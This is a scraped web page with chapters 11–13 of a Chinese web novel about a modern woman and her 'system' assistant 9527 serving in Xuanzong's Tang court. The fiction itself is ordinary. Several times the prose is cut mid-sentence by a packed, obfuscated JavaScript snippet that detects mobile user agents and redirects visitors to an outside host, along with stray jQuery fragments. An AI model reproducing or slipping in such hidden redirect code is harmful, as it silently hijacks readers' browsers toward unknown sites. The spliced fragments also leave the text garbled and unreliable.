l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298883|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个数字,对他而言不是一个值得庆幸的底线,而是一个上限,一个仿佛命运给定的、令他有些不甘心的终点。尤其是“最后的贤相”、“安史之乱”这些词叠加起来,这“三百年”国运的背后,显然充满了动荡与衰落,而非他理想中的绵长鼎盛。 这让他感到一种壮志被挫伤的郁闷和警惕,而非简单的惶恐、抑或是失落。 至于那世家消亡……李隆基对此倒没什么特别的反应,自唐开国以来,几代皇帝一直在打击门阀,他任用姚崇、宋璟、张说等庶族官僚,本身就有抑制世家、加强皇权的意图,世家的消亡是早晚的事,听到这个消息,他的第一反应绝非担忧,而是极大的好奇和探究欲。 世家是如何消亡的?他心中琢磨着,是惨烈的战乱扫荡了一切?还是朕……或是朕的子孙,找到了彻底根治这一顽疾的良方? 而最让他心惊肉跳的,莫过于安禄山背后那八千义子。 豢养八千虎狼,认作义子……这已非寻常边将所为,分明是私建牙兵,收买死士! 一个边将,要八千个誓死效忠自己的儿子做什么?答案呼之欲出:为了造反! 为什么在他眼皮子底下,安禄山的军队能发展到如此庞大的规模?地方的节度使、监察御史、甚至朝中是否有人为其遮掩?或者说,安禄山的势力已经大到可以无视朝廷的监督了? 李隆基瞬间暴怒,尽管这一切还没发生,安禄山也只是个声名不显的杂胡偏将,但一想到未来有个手握重兵的边将在自己的帝国里搞这种“国中之国”、“父子之军”,李隆基就感到如芒在背。 莫大的悔意再次席卷而来,他当初就应该听了张九龄的话,依照军规早早除去此獠,否则何至于掣肘至此! 高力士屏息凝神,小心翼翼地观察着皇帝的脸色从暴怒转为铁青,又从铁青透出一丝苍白,最后沉淀为一种深不见底的、混杂着惊惧与不甘的阴沉。 他知道,圣人此刻心中必定已是惊涛骇浪。 良久,李隆基才平复了心情,眸中已恢复了几分帝王的深沉与冷静,但那深处翻滚的暗流却比任何时候都要汹涌。 “力士。”他的声音有些沙哑,带着一丝不易察觉的疲惫。 “臣在。”高力士走近了些,姿态恭敬中带着柔顺亲近的安慰。 “传朕口谕,命宰相们和六部尚书即刻进宫议事。”李隆基的声音恢复了平日的威严,却带着一丝冰冷的杀意,“再命北衙禁军加派人手,严密监视萧青梧的一举一动,但绝不可惊扰于她,更不可让其察觉。她有任何异动,即刻来报。” “是。”高力士躬身领命。 “另外,”李隆基顿了顿,补充道,“萧青梧但有什么要求,只要不出格,一律满足她就是,不用按照宫规戒律严格要求她。” 李隆基彻底想明白了,不管萧青梧是妖是仙,第一步,他至少要把人留在宫里,不能让她因为森严的宫廷戒律而产生厌弃之心,从而跑出宫去。 以目前萧青梧身上展现出来的种种神异手段来说,他并没有十足的自信,能凭借凡人的手段把人关在宫里,毕竟她几次三番说了要出宫,既然都这么说了,说明有着可以随时出去的手段。 “是,臣这就去办。” 高力士再次行礼,悄无声息地退出了延英殿,留下李隆基一人,独自面对满案的奏疏和惶乱茫然的心绪。 殿内炭火依旧温暖,沉香袅袅,但空气却仿佛凝固了一般,沉重得令人窒息。李隆基的目光落在那些等待批阅的奏章上,却没有任何心情去理会。 与那光幕中揭示的浩荡国运、兴衰之谜相比,眼前这些州县琐事、官员迁黜,似乎都变得微不足道起来。 他知道,从那个叫萧青梧的女人踏入大明宫的那一刻起,他的人生,他的王朝,都已经走上了一条截然不同的、吉凶未卜的道路。 而他,必须抓住这一切,无论那是仙缘还是妖祸。 11.第 11 章 殿外风雪未歇。 萧青梧跟着小宦官刚走下台阶,一眼就看到了站在殿门外披甲执锐分列两侧的禁军守卫们,他们目光如隼,扫视着空旷的庭院和远处的宫道,光是视线对上都能产生莫大的压力。 廊下避风处,两名穿着青色官袍的中年宦官微微佝偻着身子,双手拢在袖中,不时轻轻跺脚以驱散寒意。他们身旁的便是所有候命人员中唯一的宫女,童二娘子。 比起健壮的禁军与耐寒的宦官,童二娘子看着瘦骨伶仃的,此刻脸色冻得青白,嘴唇都有些发紫,身体在寒风中抖得像纸片似的,看了就让人心生怜悯。 萧青梧想跟她来个眼神交流,不过童二娘子可能是害怕,也可能是冻僵了,这会即便听到了殿门开合的声音,脑袋也不敢抬起来,更别提跟她对视。 萧青梧小声问带自己出来的宦官:“只有我自己去用食吗?童二娘子呢,她什么时候才能去?” 宦官名叫何常,是内侍省派在延英殿听差的直官,平常跟在高力士身边伺候,听从调遣。 何常闻言,面上露出一丝为难的神色,低声道:“萧娘子,高将军只吩咐了带您去用朝食。童娘子需得在此候命,听传唤。高将军没有吩咐,我也不好擅自做主。” 通常来说是有排班的,像他平时跟在高将军身边伺候,有时跑腿,有时在延英殿当值,用餐时会有其他当值的顶上。但萧娘子和童娘子完全不在此例。 一来,她们二人是临时加塞过来,尚未列入轮值次序。二来,他看得出圣人对萧娘子的器重,而童娘子和萧娘子又是一起的,在未有明示之前,他万不敢自作主张让童娘子离岗。 萧青梧眉头微蹙,正想再说什么,却见延英殿的门再次打开,一名衣着体面、二十来岁的宦官快步走了出来,正是殿内伺候的另一名宦官窦福儿。 他先是扫了一眼场中情形,随即快步走到何常身边,附耳低声快速说了几句。何常听着,眼中闪过一丝惊讶,微微点头示意知道了。 窦福儿一说完,径直转身从廊下离开。 何常再转向萧青梧时,态度似乎更谨慎了些,脸上堆起笑意:“萧娘子,高将军传话,陛下稍后要召集群臣议事,您今日暂且歇着,不必当差了。若有传唤,自会有人通传。您若是想用饭,奴婢带您去廊房认个地方,若不想,此刻便可自便。” 萧青梧稍微有点意外,皇帝和大臣们商量军国大事时不想让宫人在场,这个倒是很正常,前几次她不就是这么被赶出来的么,不过额外允许她休息一日,倒是出乎意料。 正常来说,哪怕不用跟在身边伺候,不也应该派到其他地方继续忙碌么? 封建老爷们还能这么好心? 不管怎么说,高力士能给她放假,总归是意外之喜,今天还有一整天的时间,吃完了她可以去尚食局那边探望一下小禾,晚上回去再把宿舍收拾一下。 “那便有劳带我去认认地方吧。” 萧青梧笑容可掬地望向何常,眼神里带了些许讨好:“那童二娘子……何内侍,我能不能进去问问高将军,让童二娘子也跟我一起去用饭?您看天这么冷,她一个柔弱小娘子在这都要冻出病来了,何况稍后陛下与阁老们议事,她更是帮不了什么忙,在这站着也是白受冻,您说对吧?” 何常看了她一眼,眼神里不易察觉的古怪和惊讶一闪而逝,很快,他又面色如常地笑着说道:“您且宽心,童娘子也不用当值了,她可以与您一道去用饭。您初来乍到,不清楚此间规矩,奴婢这就带二位娘子去廊房用食,顺便讲讲在陛下身边伺候需要注意的事项。” 萧青梧心中暗喜,她立刻叫上童二娘子,由何常一路带领着,沿着殿外的回廊走了不远,然后推开一扇不起眼的侧门。 门内是一间狭窄的屋子,陈设简单,仅置几张长木桌与若干蒲草坐垫,屋子里放了炭火,虽不是十分暖和,但比起室外的凛冽严寒要好上许多。 此时只有几个轮换下来的宦官和宫女正低头快速吃着,无人交谈,唯有细微的咀嚼和碗筷碰撞声此起彼伏。 吃饭的时间像打仗,所有人必须尽快吃完然后返回岗位。 这里便是供延英殿一带当值的宦官、宫女们临时用餐的地方,禁军守卫另有安排,不会跟宫女宦官们在一处。 何常用手势示意了一下屋子一角,那里放着几个还冒着一丝热气的大陶盆,旁边摞着一叠粗陶碗和筷子勺子。 何常笑着道:“二位娘子请看,这就是每日用餐的地方。” 说完,他走过去取了碗筷,从陶盆里盛了一碗还带着余温的馎饦,萧青梧和童二娘子见了跟着照做。 盛好后,两人跟着何常走到一处空桌坐下。 这时候其实没什么东西可吃,哪怕是皇宫里伺候天子的近身宦官,能得到的工作餐,也不过是面片汤、胡饼、粟米粥之类的,偶尔再加一小碟子咸菜,少油少盐,极度缺乏脂肪,比健身餐还要残酷几百倍。 童二娘子和何常吃得很快,埋头不语。萧青梧鼓着勇气,从碗里舀了一勺看起来黄中带褐的面片放嘴里,嗯……怎么说呢,也不至于难吃到食不下咽,但说好吃是远远谈不上的。 味道寡淡至极,吃了像没吃一样,甚至还带着点粗盐的涩味。 萧青梧吃了两口便不想再动,她放下碗筷,转而悄然打量四周。 虽同处一室,但宫女与宦官们泾渭分明地分坐在两处,绝不混坐。可见即便以开放著称的大唐,在男女大防上其实还是很讲究的,只是相对其他朝代来说没那么严格而已。 在她分心打量的时间里,童二娘子已经吃完了她那一份,萧青梧见状,将自己面前几乎未动的那碗轻轻推了过去,示意她一并吃了。 食物是珍贵的,浪费是罪恶的,尤其在封建社会里,萧青梧已经深刻地意识到了这一点。 “你不吃吗?”童二娘子诧异地小声问道,“天这么冷,你不吃可撑不到晚上。” 萧青梧也轻声回道:“你吃吧,一会我去小禾那边,饿不着的。” 童二娘子想了想萧娘子在尚食局颇有人缘,知她所言非虚,小声道过谢后,便也不推辞地接过那碗几乎没动过的馎饦,低头迅速吃了起来。 一碗馎饦汤不过成年男子巴掌大,碗里的面团并不算稠密,份量本就有限,两碗下肚对她来说不算勉强。 等童二娘子吃完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298884|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何常便开始为二人讲解御前伺候的规矩,虽说是二人,实则主要是说给萧青梧听的。 说了许多,总结起来的中心思想其实就一条,要有眼色,随时注意皇帝的动向和需求,急皇帝所急,想皇帝所想。要听话乖顺,机灵伶俐,懂事明理。 何常洋洋洒洒说了一堆,直到屋子里吃饭的宦官和宫女们全都散尽了才停下。 他的目光在萧青梧那张过分昳丽的脸上停留了一瞬,语气带了笑,补充道:“奴婢方才说的那些,虽说是生存之道,但对于萧娘子您,倒未必需要件件恪守。” 萧青梧奇怪地咦了一声,问他:“这又是怎么说?” 何常抿了抿唇,笑容里透着一丝不易察觉的深意:“萧娘子是女子,与我们这些奴婢终究不同。在御前伺候,墨磨得好、规矩守得严,那是本分。可要想长久……终究还得看能否体察圣意,让陛下觉得舒心惬意。谨慎固然要紧,但也不必过于拘泥,陛下仁厚,待下宽和,尤其是对您这样的……想来更看重一份灵透和体贴。” 萧青梧皱眉思索,何常见状,知道她这是将自己的话听进去了,便起身向二人告辞。 陛下召群臣议事,不止是萧娘子不用去伺候了,他和窦福儿也是如此,殿内不留任何宫人在场,足见此次商议之事非同小可。 【如果我没理解错,何常是在暗示我,不能只把自己当作普通宫女,而要以……类似通房丫鬟或侍妾的心态去应对?】 【您的理解无误,何常话里有话,虽未明说,但其中意思已相当明显。】 萧青梧一时不知道该说什么好。 何常为什么会这么想?是李隆基破格将她调至御前的举动实在太过罕见,引人揣测,还是宫中但凡女子得近天颜,尤其还生了一张漂亮的脸,都免不了被打上攀附君恩的标签? 说来说去还是怪李隆基,他本来不就对她心怀不轨,又大张旗鼓地把自己调到御前,难怪别人会这么想。 萧青梧不打算听何常的,但也不会特意去解释说明,有了后宫预备役这个误会,反倒能替她省去不少麻烦,日后行事也能多几分方便。 出了廊房,下了一夜的雪终于停了。 天地一片萧瑟,白雪覆在宽广的地面上,将原本恢弘的宫廷衬得愈发空旷苍茫,无端惹人心生惘然。 萧青梧和童二娘子在门口分别,一个回野狐落,一个去尚食局。 尚食局并不单指某一处宫室,更像是一个概念性称呼。太极宫和大明宫两处都有尚食局,就和掖庭一样,两边各一个,一个老一个新,职能是一样的。 萧青梧要去的尚食局自然是太极宫那个。 一路踏雪而行,萧青梧突然看到几名宦官正架梯攀墙,将手中的彩绸、悬桃符等装饰品系上檐角。朱锦明艳,映着雪光,格外醒目。 【9527,他们在做什么?】 【依时令推断,这些宦官应该是在为元正佳节做准备。元正就是常说的春节,唐代宫廷历来重视,因此会提前装饰,增添喜庆。】 萧青梧驻足望了一会儿他们忙碌的身影,心底忽然涌起一阵难以名状的寂寥。 要过年了啊。 12.第 12 章 踏进熟悉的尚食局院落,空气中弥漫着食物和柴火的味道。 往里走了几步,一路上有许多人跟她打招呼问好,仔细搜寻一番,萧青梧才看到了蹲在巨大灶台下的那个瘦小身影。 赵小禾正守着灶台,不时用手中烧火棍翻搅一下,再将大块的木柴塞进灶膛,火星偶尔溅出,她瑟缩一下,又继续忙碌。 身上还是那件灰扑扑的单薄小袄,混在人群中立刻就会被淹没。 “小禾。”萧青梧快步走过去。 赵小禾闻声抬头,看到是她,眼睛里瞬间亮起光彩:“青梧姐姐!你怎么回来了?”她慌忙想站起来,却因为蹲太久,身子晃了一下。 萧青梧扶住她,摸了摸她像小猴子似的瘦巴巴还带着柴火灰的手,笑眯眯问道:“回来看看你,这几天过得如何?差事累不累?” 赵小禾赶紧摇头:“不累,烧个火而已,很轻松的。” 萧青梧知道她理解的轻松跟自己概念中的肯定不一样,不过,这样就挺不错了,再提什么要求就太不知好歹了。 趁着左右都在忙碌,她从空间钮里摸出块奶糖,塞进赵小禾嘴里,悄声道:“吃就行,别声张。” 赵小禾眨了眨眼,嘴巴紧紧闭着,糖块在口腔里滚动了几下,一股浓郁的甜香在味蕾上瞬间蔓延。 她记着萧青梧的话不敢张嘴,但满足的笑意却从那双眼睛里控制不住地跑了出来。 跟赵小禾说了几句话,萧青梧去寻尚食周妙怡和典膳单娘子。旧地重游,去和此地的女官们打声招呼维持一下人情往来是很有必要的事。 萧青梧先寻到了单娘子的值房,见她正核对膳单,便笑吟吟地在门边福了一礼:“单娘子安好。” 单娘子抬头见是她,立刻放下手中的单子,脸上堆起热络的笑容迎上来:“哎哟,是萧娘子!快请进,这大雪天的,你怎么有空回我们这儿来了?在御前伺候可还顺心?”她一边说,一边不着痕迹地快速打量了一下萧青梧的衣着气色。 “劳娘子挂心,一切都好。今日得空,便想着回来看看。”萧青梧语气谦和,笑容温婉,“方才去看了小禾,见她气色好了许多,多谢娘子这些时日照拂。” “哎呀,萧娘子这话可就见外了!”单娘子亲昵地拉着她的手,“那孩子懂事,我看着也欢喜,自然多看顾些。你能得陛下和高将军青眼,我们整个尚食局都跟着沾光,往后说不定还需你多提携才是呢!” 萧青梧轻轻一笑:“什么提携呀,您可别拿我打趣了,我这莽撞性子,能不出错就谢天谢地了,还是这儿待着自在。” 单娘子听了,脸上的笑容更是真切了几分。 寒暄几句后,萧青梧又道:“还未曾向周尚食请安,不知尚食此刻可得空?” “周尚食应在正堂,我引你过去。”单娘子自是满口答应,亲自领着萧青梧往正堂去。 到了周妙怡处,萧青梧同样恭敬行礼。 周妙怡见状,不等她做完动作便从案后立刻站起身,脸上带着比往日更真切三分的笑意虚扶了一下:“萧娘子快不必多礼,如今在御前伺候,一切可还适应?” 萧青梧满脸带笑地与她拉近了距离:“谢尚食关怀,一切都好。今日正好有空,便想着回来谢过尚食与单娘子昔日的照拂,顺便也看看小禾那小丫头。” 周妙怡闻言,脸上的笑意更深了几分:“你能有今日这番造化,是你自身的福气与本事,我们瞧着也替你欢喜。日后得了闲,常回来走动才好。” 又闲话几句,萧青梧便从袖中取出两份用纸包好的小礼,依着礼数,将略大的一份递给周妙怡,稍小的一份给了单娘子。 “这是我家乡带来的小食,虽也叫糖,滋味却与市面上的饴糖不大一样,二位娘子若不嫌弃,不妨尝尝鲜。” 一听只是饴糖这种小玩意,二人便也没有推辞。接过来拆开纸包,看到几块乳白色的糖块躺在其中,质地细腻,上头还泛着一层诱人的油光,瞧着就与寻常饴糖不同。 在萧青梧的示意下,二人各取了一小块放入口中。下一刻,一股前所未有的浓醇甜香瞬间在舌尖化开。那甜意纯粹而层次分明,更带着一股浓郁的奶香,顷刻间便盖过了她们过去所尝过的任何糖饴。 周妙怡眼底顿时掠过一丝惊艳,随即却涌上几分不易察觉的懊悔:这般稀罕精致的东西,若是完整地拿去进献给某位贵人,说不定还能换来些好处,哪怕调出这太极宫尚食局也未必是难事…… 只可惜这念头来得太迟,糖也入了口,剩下的分量已是不多,再想拿去送礼便是不妥了。她心下暗叹一声,索性也不再纠结,转而专心品味起口中那美妙绝伦的甜意来。 在正堂里耽搁了些时间,周妙怡和单娘子就得去大厨房那边盯着继续忙碌。 走了一段路,经过盛放粮食蔬菜的院落时,便听到从门内传来一声高过一声的斥骂。 萧青梧好奇地探头望去,只见一个面生的年长宫女正指着一个小宫女呵骂,二人附近的地方还洒落着一些豆子。 “这不是……莲心?”萧青梧看那个小宫女眼熟,便不由自主多看了几眼,这一看就认出来了,不就是曾经和赵小禾起过矛盾的那个小姑娘? “怎么回事?”单娘子走进去询问,“当值的时间不去忙碌,怎么在这里训上人了?” 年长的宫女见了几人,连忙躬身行礼,道:“没什么大事,莲心这丫头淘洗的豆子里掺了砂石,没拣干净,险些混进主子的膳食里,奴这才出口教训她几句。” 萧青梧也跟着走过去,她看了眼莲心,小丫头此时眼圈泛红,嘴唇抿得紧紧的,满脸倔强,一看到是她,双眼立刻泛起一层水光。 单娘子见萧青梧不语,目光一直落在莲心身上,心中暗暗叫了声不好。 莲心的母亲是掖庭里的老人,与自己交情甚笃,因此她以往没少照看莲心。而萧青梧又对赵小禾另眼相待,加上她如今地位不同往日,单娘子生怕萧青梧是记着之前的仇,要借机替赵小禾出头报复回来。 她立刻扬声对那女官道:“差事做成这样,确实该打!刘掌膳,还愣着干什么,拉下去打她五板子,也让其他人长长记性,看以后谁还敢不用心!”她这是想抢先处罚,既显得自己公正,又能让萧青梧消气,免得她发作起来处罚更重。 那女官应了一声,就要拉着眼泪在眼眶里打转的莲心去打板子,莲心吓得浑身直抖。 “等一下!”萧青梧立刻开口阻止。 单娘子心里一紧,忙笑着问道:“萧娘子觉得五板子少了?你说个数,都听你的。” 萧青梧摇了摇头:“算了,单娘子,我看她也不是故意的,小孩子嘛,做错事在所难免,骂几句让她记住教训就行了,板子就免了。天这么冷,打坏了还得耽误干活,得不偿失。” 单娘子一愣,随即脸上笑得更真切了些,连声道:“萧娘子真是菩萨心肠!还不快谢谢萧娘子!”说着她推了莲心一把。 莲心懵懵懂懂,含着泪小声道:“谢、谢过萧娘子……” 萧青梧拍了拍她的脑袋:“好了,你快进房吧,以后当心点。” 看着莲心小小的身影跑远,旁观了全程的周妙怡这才笑着开口:“我听闻莲心与小禾之间向来不睦,萧娘子若是挂念小禾,我就把莲心调远些,如何?” 萧青梧听了急忙摇头:“千万别!就这样挺好的,说来说去都是小孩子吵架,常有的事,犯不着为了这么点小事兴师动众的。” 她曾经的确因为莲心欺负小禾恼怒过,但说到底,莲心也不过是个十岁出头的小孩子,就算母亲还在身边,在掖庭这个大监狱里生活,境况又能比赵小禾好多少? 以她如今在御前伺候的地位,只要表露出一点对莲心的不喜,莲心往后的日子好不了,说不定比曾经的赵小禾还要惨。 不过是个为了生存而挣扎的小孩子,何必呢,与其对着弱者挥刀,不如琢磨一下怎么给上位者使绊子。 下午,萧青梧给单娘子说了一声,带着赵小禾提前回了掖庭的住处。 太极宫是前朝旧宫,地势低平多凹陷,掖庭是用来关宫女罪奴们的地方,居住环境就更差了。宫女们住的宿舍常年阴冷潮湿,比大明宫的宫人宿舍条件差得多。 萧青梧关好门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314216|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻从空间钮里拿出许多高热量的食物,一股脑堆桌子上,让赵小禾赶紧过来吃。 赵小禾习惯了听她的话,因此即便看到那一桌花花绿绿的不知什么材质的包装袋,也没开口问,拿起拆了包装就吃。 趁着她吃东西的功夫,萧青梧四处打量,屋内环境跟她离开时没什么变化,还是一如既往的寒酸破败,被子上一股潮湿的腐味,破口的地方露出填充在里面的干草屑和劣质麻絮。 宫内虽然每年都会发御寒的物资,但经过层层克扣盘剥,落到掖庭旧宫女婢们手上的,往往是最次、最旧、最单薄的那批,甚至是别人替换下来的破烂。 萧青梧深深吸了口气,李隆基不是垂涎她的美色么,以后有了机会,她一定要抓住机会提要求,第一件事就是改善掖庭宫女们的生活条件! “小禾,你想不想离开这里呢?”萧青梧看着两颊鼓鼓塞得像小松鼠一样的赵小禾问道。 赵小禾一愣,手上动作随之停下来。 离开掖庭宫?还是离开皇宫?可是她是个罪奴,没有圣人的宽恕,她一辈子都要在掖庭里待着。 她是很想离开,可是想不想不是由她说了算…… 就在这时,门外传来一阵轻微的骚动和压抑的哭泣声。 萧青梧开门望去,只见两个年长的宫女正抬着个卷起来的旧草席匆匆从院中走过。 草席裹得很潦草,在一端露出双青白泛紫的、瘦小的脚露在外面,一动不动。 萧青梧心里沉甸甸的。 她默默看她们走远,才低声问院中一名神色麻木的老宫女:“嬷嬷,那是……?” 老宫女瞥了她一眼,司空见惯地道:“是西屋那个小丫头,病了有段日子了,没熬过去……唉,也是解脱了。” “她……多大了?叫什么名字?家里有人来接吗?”萧青梧的声音有些干涩,“有人给她操办后事吗?” 老宫女奇怪地看了她一眼,似乎觉得她问得多余:“谁知道叫什么,进来的时候有个小名,谁记得住。家里?进了这里的,家里不是死光了就是没人要了。一会儿抬去后苑埋了就是了。” “就这么埋了?会给她立碑吗?有人给她写墓志吗?”萧青梧连声追问,她知道古人对死后事宜的重视,活着的时候无人问津,便只能寄托于虚无缥缈的天国,希望死后可以安享长乐。 “碑自然是有的,不立碑那不成孤魂野鬼了。”老宫女老神在在地闲话道,“咱们这死了人,都有一套现成的墓志模子,早就刻好了‘亡宫者,不知何许人也’之类的词儿,等人死了,把死期往上一填就行了。一个罪奴,谁还给她单独立传不成?” 傍晚时分,萧青梧返回大明宫。 路上积雪严重,踩上去须得小心着别打滑摔个大马趴。 【我突然想起一首诗,虽然不是很应景。寥落古行宫,宫花寂寞红。白头宫女在,闲坐说玄宗。】 【元稹的《行宫》,此诗作于安史之乱后,当时李隆基前往蜀地避祸,由于行程艰难,大量原本在长安皇宫和洛阳行宫中的宫女嫔妃或被遗弃,或就地安置。上阳宫便成为了收容这些落难宫女的场所。几十年过去,天子早已返回长安,这些宫女却被遗忘,她们在行宫中无人问津,孤独地度过了余生,直至老死。白头宫女这一典故便是出自此诗。】 9527的声音平稳依旧,不带任何情绪:【您提到这首诗,是因为掖庭内宫女病逝的场景,让您联想到上阳白头宫女们同样无人问津的凄惨生活了吗?】 萧青梧看着将晚的天幕,呼吸间白色的雾气笼在眼前。 【是有点,也不知道怎么回事,突然就想起来了。其实只是因为文化储备不过关,太文盲了,一提到宫女只能想到这首……】 【上阳的白头宫女们过得很苦,不过,在这种时代,还是这样的身份,其实能活到老,某种意义上已经算是一种幸运了,对吧?】 至少,活到了白头,还能“闲坐说玄宗”。 而更多的,是像草席里的那个,甚至没机会长大,就像无声的尘埃,消散在这重重宫阙之中,连一个完整的名字都留不下。 13.第 13 章 翌日清晨,雪后初霁,空气清冽。 萧青梧本以为今天又要在延英殿里磨一天,不想凌晨两三点左右,高力士便命人来传,说今天要随圣驾前往宣政殿参与常参,让她早早准备着,伺候时务必要更加谨慎。 【常参?也是朝会吗?】萧青梧一边匆忙整理衣着,一边在心里问。 【常参就是常朝,是唐代日常朝会制度的一种,五品或三品以上文武官员、诸州刺史及藩国使臣等需要每日参加,奏报日常政务,接受皇帝垂询。相较于大朝会的礼仪性,常参更侧重于实际政务处理。】 【每日例会啊……】萧青梧眼睛微微一亮,【意思是,我能看到很多官员?长安城里品级稍微比较高的官都会来?】 【理论上如此,但部分官员可能因公务、疾病或休假缺席。】 萧青梧内心雀跃不已,能看到人就是好事,而且还更换了张地图扩大了活动范围,再怎么样都好过一整天只能对着李隆基和高力士那两张老脸。 【不过……你确定常朝每天都要举行吗?我调过来这几天,李隆基不是一直都把人叫来延英殿开小会,没看到他参加常朝啊?】 【理论上,常朝每日都会举行,但根据皇帝们勤政情况的不同,具体情况也有所差别,有时是每日,有时是三五日,并且皇帝不需要每次常朝听政时都在场,绝大多数情况下由宰相们主持展开即可。】 萧青梧这下便懂了,皇帝如同集团CEO,不必事事亲力亲为。宰相们犹如高管团队,负责日常运营决策,而这常朝就是部门的晨会或周会。 电视上演的那种排面拉满,百官山呼万岁的宏大场面其实不常有,每个月撑死也就两次,有点像全员必须参与的庆典、或者战略发布会之类,偏向仪式性的形象工程,并不注重解决实际问题。 古今一对照,她顿时对这套运行了千百年的制度有了更透彻的了解。 跟着圣驾,趁着熹微的天光一路走去,越接近大殿,气氛越发庄严肃穆。远远看到身着紫色和绯色官袍的官员们正井然有序地依次入殿,间或夹杂着几抹低品的绿色。 李隆基一行人并不从正门入,而是经由侧面的通道,他身上穿的也不是正式的礼服,就是很普通的赭黄色圆领长袍,一切看起来都那么闲适。不像来上朝,像是出门遛个弯那样随意。 这让萧青梧又一次更新了刻板印象,原来并不是所有工作场合都极尽奢华隆重,古人其实远没有想象中那么爱讲排场。 李隆基在上首的坐塌前甫一站定,恭顺垂首而立的官员们开始躬身行礼,再纷纷回到原位。三公九卿与王公贵族有个席子可以坐,其他官员便只能站着。 按照高力士的指示,萧青梧走到御座侧后方的位置站定,这个位置视野绝佳,既方便随时伺候皇帝的需求,也能将座下群臣尽收眼底。 她抬眼一扫,就看见不少官员正对着自己目瞪口呆,一副不敢相信的样子,显然对宣政殿里出现女人感到非常意外。有几个更是怒目而视,满脸敌意,一副“死谏到底也要把你赶出去”的架势。 为首的宰相和六部尚书们倒是淡定,大部分官员虽然眉头紧锁、心事重重,但对她的出现倒没太大反应,只有少数人满脸义愤填膺,不住和身旁同僚交换着眼神。 让宫女进入宣政正殿,立于御座之旁?!这……这简直是闻所未闻!自武周之后,再无女子可立于前朝正殿参政之地!陛下这是……? 无数道目光瞬间聚焦在萧青梧身上,有惊疑,有探究,更有十分明显的审视与敌意,甚至还有些莫名的惶然或畏惧。 萧青梧不仅不怕,反倒被勾起兴致。不怕有麻烦,就怕没事干。 【嘿嘿~我现在就站这了,怎么样?是不是要气死了?有本事就去跟老皇帝掐架啊,让他自己开口把我赶出去啊~】 【如果在场官员们强硬要求,李隆基的确有很大概率让您出去,毕竟从本朝制度上来说,让宫女出入议政场合,的确是不合规矩。】 【制度是人定的嘛,又不是天定的。】萧青梧不当回事地哼了声,【只要自身专业素养过硬,宫女在不在场影响他们工作吗?除了食古不化的老顽固,谁会在这种事上死磕较真?】 【您说得没错,制度为人所创,亦可为人所变。智者着眼于实效与格局,庸人则固守形式与陈规,前者务实,后者务虚。】 不知是不是错觉,萧青梧突然发现殿上许多官员的表情非常古怪。 有的似乎在忍笑,有人吹胡子瞪眼,看她的眼神似乎更气愤了。有的不住点着头,也不知道在点什么,还有几个大冬天的额头竟然冒冷汗。 萧青梧看着他们,脑子里突然冒出一个念头。 【说起来,如果朝会上突然拉肚子想去厕所该怎么办?可以请假出去吗?或者站不住了怎么办,尤其那几个年纪特别大的。还有,肚子饿了低血糖头晕呢,或者打嗝放屁怎么办?这总不能让人憋住吧?】 【关于这个问题,唐代官员们应对的核心原则是,能避免就尽量避免,实在免不了就强行忍耐,御前失仪是一件非常严重的事。】 “咳。”一声不轻不重的咳嗽声自侧前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320609|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起。 李隆基心下冷哼,特许她入宣政殿从旁服侍,原是指望百官汇聚时,或能令其心神激荡间漏出几句天机,谁料净琢磨些鄙俗琐碎、难登大雅之堂的念头,于朝政国运这等紧要关头却惜字如金。 真是不务正业,不知轻重! 接到皇帝的眼神示意,官员们急忙整肃了表情,朝会很快开始,萧青梧也及时打住脑子里诸多想法。 没什么冗长的仪式,在一名眼生的宦官高声唱报之后,各部门官员按照品级和事务的轻重缓急,依次出列奏事。 萧青梧连忙竖起耳朵睁大眼睛,拿出上课的劲头开始认真听。 首先出列的是中书省的一位官员,手持一卷文书,声音洪亮地禀奏今日需要决议的几项主要政务提纲,类似于现代的今日会议议程简述。 李隆基微微颔首,表示知晓。 然后,一位兵部官员出列,汇报了陇右道军镇兵马调动及粮草补给事宜。接着,一位来自大理寺的官员呈报了几件重大案件的审理进度。随后,一位负责宗庙祭祀的官员,请示了一下近期某项规模祭祀活动的具体流程细节…… 还有官员考核、漕运粮价、州县灾情、税收等等问题。 李隆基大多时候只是听着,偶尔询问相关细节,或者直接将事务交给宰相或对应部门长官,等他们商议好了,他再来行决断。 整个过程效率颇高,显得有条不紊。 